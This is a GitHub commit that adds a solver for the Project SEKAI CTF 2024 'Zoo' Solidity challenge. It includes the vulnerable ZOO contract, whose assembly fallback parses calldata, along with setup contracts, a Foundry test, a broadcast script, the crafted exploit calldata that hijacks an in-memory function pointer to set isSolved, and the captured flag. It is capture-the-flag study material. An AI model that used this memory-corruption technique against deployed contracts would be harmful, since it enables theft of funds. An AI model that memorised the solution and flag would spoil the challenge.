Skip to content

Commit 65da84d

Browse files
committed
add solver for Project SEKAI CTF 2024 Zoo
1 parent 35c6764 commit 65da84d

File tree

7 files changed

+304
-0
lines changed

7 files changed

+304
-0
lines changed
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Script, console} from "forge-std/Script.sol";
5+
import {Exploit} from "./Exploit.sol";
6+
import {Setup, ZOO} from "./challenge/Setup.sol";
7+
8+
// forge script src/ProjectSekaiCTF2024/Zoo/Exploit.s.sol:ExploitScript --sig "run(address)" $INSTANCE_ADDR --private-key $PRIVATE_KEY -vvvvv --broadcast
9+
10+
contract ExploitScript is Script {
11+
function run(address setupAddr) public {
12+
vm.startBroadcast();
13+
14+
new Exploit(setupAddr);
15+
16+
vm.stopBroadcast();
17+
}
18+
}
19+
20+
// SEKAI{super-duper-memory-master-:3}
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Setup} from "./challenge/Setup.sol";
5+
6+
contract Exploit {
7+
constructor(address setupAddr) payable {
8+
Setup setup = Setup(setupAddr);
9+
address(setup.zoo()).call(
10+
hex"100000040080DEADBEAF30002007220323100000040080DEADBEAF100100040080CAFEBABE20002100405fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae2252995fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299"
11+
);
12+
require(setup.isSolved(), "Exploit failed");
13+
}
14+
}
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Test, console} from "forge-std/Test.sol";
5+
import {Exploit} from "./Exploit.sol";
6+
import {Setup, ZOO} from "./challenge/Setup.sol";
7+
8+
contract ExploitTest is Test {
9+
address playerAddr = makeAddr("player");
10+
Setup setup;
11+
ZOO zoo;
12+
13+
function setUp() public {
14+
vm.deal(playerAddr, 1 ether);
15+
setup = new Setup();
16+
zoo = setup.zoo();
17+
}
18+
19+
function test() public {
20+
vm.startPrank(playerAddr, playerAddr);
21+
22+
new Exploit(address(setup));
23+
24+
vm.stopPrank();
25+
}
26+
}
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
pragma solidity ^0.8.25;
2+
3+
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
4+
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
5+
6+
contract Animal is ERC721, Ownable {
7+
struct status {
8+
uint256 feed;
9+
string name;
10+
}
11+
12+
mapping(uint256 => status) public animalStatus;
13+
uint256 public counter;
14+
15+
constructor(string memory name, string memory symbol) ERC721(name, symbol) Ownable(msg.sender) {}
16+
17+
function feed(uint256 tokenId, uint256 amount) public onlyOwner {
18+
animalStatus[tokenId].feed += amount;
19+
}
20+
21+
function setName(uint256 tokenId, string memory name) public onlyOwner {
22+
animalStatus[tokenId].name = name;
23+
}
24+
25+
function addAnimal(address to) public onlyOwner {
26+
_safeMint(to, counter);
27+
counter++;
28+
}
29+
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
pragma solidity ^0.8.25;
2+
3+
import {ZOO} from "./ZOO.sol";
4+
5+
contract Setup {
6+
ZOO public immutable zoo;
7+
8+
constructor() payable {
9+
zoo = new ZOO();
10+
}
11+
12+
function isSolved() public view returns (bool) {
13+
return zoo.isSolved() == 1;
14+
}
15+
}
Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
pragma solidity ^0.8.25;
2+
3+
import {Animal} from "./Animal.sol";
4+
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
5+
6+
contract ZOO is Pausable {
7+
uint256 public isSolved;
8+
AnimalWrapper[] public animals;
9+
10+
struct AnimalWrapper {
11+
Animal animal;
12+
uint256 counter;
13+
}
14+
15+
uint256 constant ADD = 0x10;
16+
uint256 constant EDIT = 0x20;
17+
uint256 constant DEL = 0x30;
18+
19+
uint256 constant EDIT_NAME = 0x21;
20+
uint256 constant EDIT_TYPE = 0x22;
21+
22+
uint256 constant TRACK_MAX = 0x100;
23+
24+
constructor() {
25+
animals.push(AnimalWrapper(new Animal("PANDA", "PND"), 0));
26+
animals.push(AnimalWrapper(new Animal("TIGER", "TGR"), 0));
27+
animals.push(AnimalWrapper(new Animal("HORSE", "HRS"), 0));
28+
animals.push(AnimalWrapper(new Animal("ZIBRA", "ZBR"), 0));
29+
animals.push(AnimalWrapper(new Animal("HIPPO", "HPO"), 0));
30+
animals.push(AnimalWrapper(new Animal("LION", "LON"), 0));
31+
animals.push(AnimalWrapper(new Animal("BEAR", "BAR"), 0));
32+
animals.push(AnimalWrapper(new Animal("WOLF", "WLF"), 0));
33+
animals.push(AnimalWrapper(new Animal("ELEPHANT", "ELP"), 0));
34+
animals.push(AnimalWrapper(new Animal("RHINO", "RNO"), 0));
35+
36+
// The ZOO is not opened yet :(
37+
_pause();
38+
}
39+
40+
function commit(bytes memory data) internal whenNotPaused {
41+
assembly {
42+
let counter := 0
43+
let length := mload(data)
44+
45+
for { let i := 0 } lt(i, length) { i := add(i, 1) } {
46+
let idx
47+
let name
48+
49+
let memPtr := mload(0x40)
50+
51+
let ptr := mload(add(add(data, 0x20), counter))
52+
idx := mload(ptr)
53+
name := add(ptr, 0x20)
54+
let name_length := mload(name)
55+
counter := add(counter, 0x20)
56+
57+
mstore(0x00, animals.slot)
58+
let slot_hash := keccak256(0x00, 0x20)
59+
let animal_addr := sload(add(slot_hash, mul(2, idx)))
60+
let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))
61+
62+
if gt(animal_counter, 50) { revert(0, 0) }
63+
64+
mstore(memPtr, shl(0xe0, 0x1436163e))
65+
mstore(add(memPtr, 0x4), caller())
66+
67+
pop(call(gas(), animal_addr, 0x00, memPtr, 0x24, memPtr, 0x00))
68+
69+
mstore(memPtr, shl(0xe0, 0x61bc221a))
70+
pop(staticcall(gas(), animal_addr, memPtr, 0x20, memPtr, 0x20))
71+
72+
let animal_count := sub(mload(memPtr), 0x1)
73+
74+
mstore(memPtr, shl(0xe0, 0xfe55932a))
75+
mstore(add(memPtr, 0x4), animal_count)
76+
mstore(add(memPtr, 0x24), 0x40)
77+
mstore(add(memPtr, 0x44), name_length)
78+
mcopy(add(memPtr, 0x64), name, name_length)
79+
80+
pop(call(gas(), animal_addr, 0x00, memPtr, 0x84, memPtr, 0x00))
81+
82+
sstore(add(add(slot_hash, mul(2, idx)), 1), add(animal_counter, 1))
83+
}
84+
}
85+
}
86+
87+
fallback() external payable {
88+
function(bytes memory)[] memory functions = new function(
89+
bytes memory
90+
)[](1);
91+
functions[0] = commit;
92+
93+
bytes memory local_animals;
94+
assembly {
95+
let arr := mload(0x40)
96+
let size := calldatasize()
97+
mstore(arr, size)
98+
let size_align := add(add(size, sub(0x20, mod(size, 0x20))), 0x20)
99+
mstore(0x40, add(arr, size_align))
100+
calldatacopy(add(arr, 0x20), 0, size)
101+
102+
local_animals := mload(0x40)
103+
mstore(0x40, add(local_animals, 0x120))
104+
105+
for { let i := 0 } lt(i, size) {} {
106+
let op := mload(add(add(arr, 0x20), i))
107+
op := shr(0xf8, op)
108+
i := add(i, 1)
109+
110+
switch op
111+
case 0x10 {
112+
let idx := mload(add(add(arr, 0x20), i))
113+
idx := shr(0xf8, idx)
114+
i := add(i, 1)
115+
116+
if gt(idx, 7) { revert(0, 0) }
117+
118+
let name_length := mload(add(add(arr, 0x20), i))
119+
name_length := shr(0xf0, name_length)
120+
i := add(i, 2)
121+
122+
let animal_index := mload(add(add(arr, 0x20), i))
123+
animal_index := shr(0xf0, animal_index)
124+
i := add(i, 2)
125+
126+
let temp := mload(0x40)
127+
mstore(temp, animal_index)
128+
mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length)
129+
i := add(i, name_length)
130+
131+
name_length := add(name_length, sub(0x20, mod(name_length, 0x20)))
132+
133+
mstore(add(temp, 0x20), name_length)
134+
mstore(0x40, add(temp, add(name_length, 0x40)))
135+
136+
mstore(add(add(local_animals, 0x20), mul(0x20, idx)), temp)
137+
138+
let animals_count := mload(local_animals)
139+
mstore(local_animals, add(animals_count, 1))
140+
}
141+
case 0x20 {
142+
let idx := mload(add(add(arr, 0x20), i))
143+
idx := shr(0xf8, idx)
144+
i := add(i, 1)
145+
146+
if gt(idx, 7) { revert(0, 0) }
147+
148+
let offset := add(add(local_animals, 0x20), mul(0x20, idx))
149+
let temp := mload(offset)
150+
151+
let edit_type := mload(add(add(arr, 0x20), i))
152+
edit_type := shr(0xf8, edit_type)
153+
i := add(i, 1)
154+
155+
switch edit_type
156+
case 0x21 {
157+
let name_length := mload(add(add(arr, 0x20), i))
158+
name_length := shr(0xf0, name_length)
159+
i := add(i, 2)
160+
161+
mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length)
162+
}
163+
case 0x22 {
164+
let new_type := mload(add(add(arr, 0x20), i))
165+
new_type := shr(0xf0, new_type)
166+
i := add(i, 2)
167+
168+
mstore(add(temp, 0x20), new_type)
169+
}
170+
}
171+
case 0x30 {
172+
let idx := mload(add(add(arr, 0x20), i))
173+
idx := shr(0xf8, idx)
174+
i := add(i, 1)
175+
176+
if gt(idx, 7) { revert(0, 0) }
177+
178+
let offset := add(add(local_animals, 0x20), mul(0x20, idx))
179+
let temp := mload(offset)
180+
181+
let copy_size := sub(0x100, mul(0x20, idx))
182+
mcopy(offset, add(offset, 0x20), copy_size)
183+
184+
let animals_count := mload(local_animals)
185+
animals_count := sub(animals_count, 1)
186+
mstore(local_animals, animals_count)
187+
}
188+
default { break }
189+
}
190+
}
191+
functions[0](local_animals);
192+
}
193+
194+
receive() external payable {}
195+
}
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
bytecode = "0x608060405260043610610037575f3560e01c80635c975abb1461029457806364d98f6e146102ba578063998dd3ca146102dd5761003e565b3661003e57005b6040805160018082528183019092525f91816020015b61045681526020019060019003908161005457905050905061031b815f815181106100815761008161045e565b602002602001019067ffffffffffffffff16908167ffffffffffffffff1681525050606060405136808252602080820660200382010180830160405250805f6020840137604051925061012083016040525f5b81811015610269578281016020015160019091019060f81c806010811461010c57602081146101945760308114610221575050610269565b8483016020015160019093019260f81c6007811115610129575f80fd5b858401602081015160228201516040805160f092831c8082526004909901989390921c93849160249091019083015e82870196506020830660200383019250826020820152604083018101604052808460200260208c01015250505050855160018101875250610262565b8483016020015160019093019260f81c60078111156101b1575f80fd5b602090810287018101518685019091015160019094019360f81c80602181146101e1576022811461020357610219565b878601602081015160029097019660f01c908190602201604086015e50610219565b602086890181015160f01c908401526002909501945b505050610262565b8483016020015160019093019260f81c600781111561023e575f80fd5b602090810261010081900391908801908101908290604001825e505085515f190186525b50506100d4565b50505061029281835f815181106102825761028261045e565b602002602001015163ffffffff16565b005b34801561029f575f80fd5b505f5460ff1660405190151581526020015b60405180910390f35b3480156102c5575f80fd5b506102cf60015481565b6040519081526020016102b1565b3480156102e8575f80fd5b506102fc6102f7366004610472565b6103fb565b604080516001600160a01b0390931683526020830191909152016102b1565b610323610431565b5f81515f5b818110156103f5575f80604051856020880101518051935060208101925050815160208701965060025f5260205f2084600202810154600186600202830101546032811115610375575f80fd5b630a1b0b1f60e11b85523360048601525f8560248183865af1506330de110d60e11b85526020858181855afa508451637f2ac99560e11b86525f1901600486015260406024860152604485018490528386606487015e5f856084875f865af150600181016001886002028501015550505050505050600181019050610328565b50505050565b6002818154811061040a575f80fd5b5f918252602090912060029091020180546001909101546001600160a01b03909116915082565b5f5460ff16156104545760405163d93c066560e01b815260040160405180910390fd5b565b610454610489565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610482575f80fd5b5035919050565b634e487b7160e01b5f52605160045260245ffdfea2646970667358221220f2a97300c10e14462f4c8af686aa7a5296545c4357f1cb6da56448d443810c0d64736f6c63430008190033"
2+
calldata = "1000 0004 0080 DEADBEAF 3000 2007 22 0323 1000 0004 0080 DEADBEAF 1001 0004 0080 CAFEBABE 2000 21 0040 5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299 5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299"
3+
4+
[state.storage]
5+
0xADD2E55 = { "0" = "0x1" }

0 commit comments

Comments
 (0)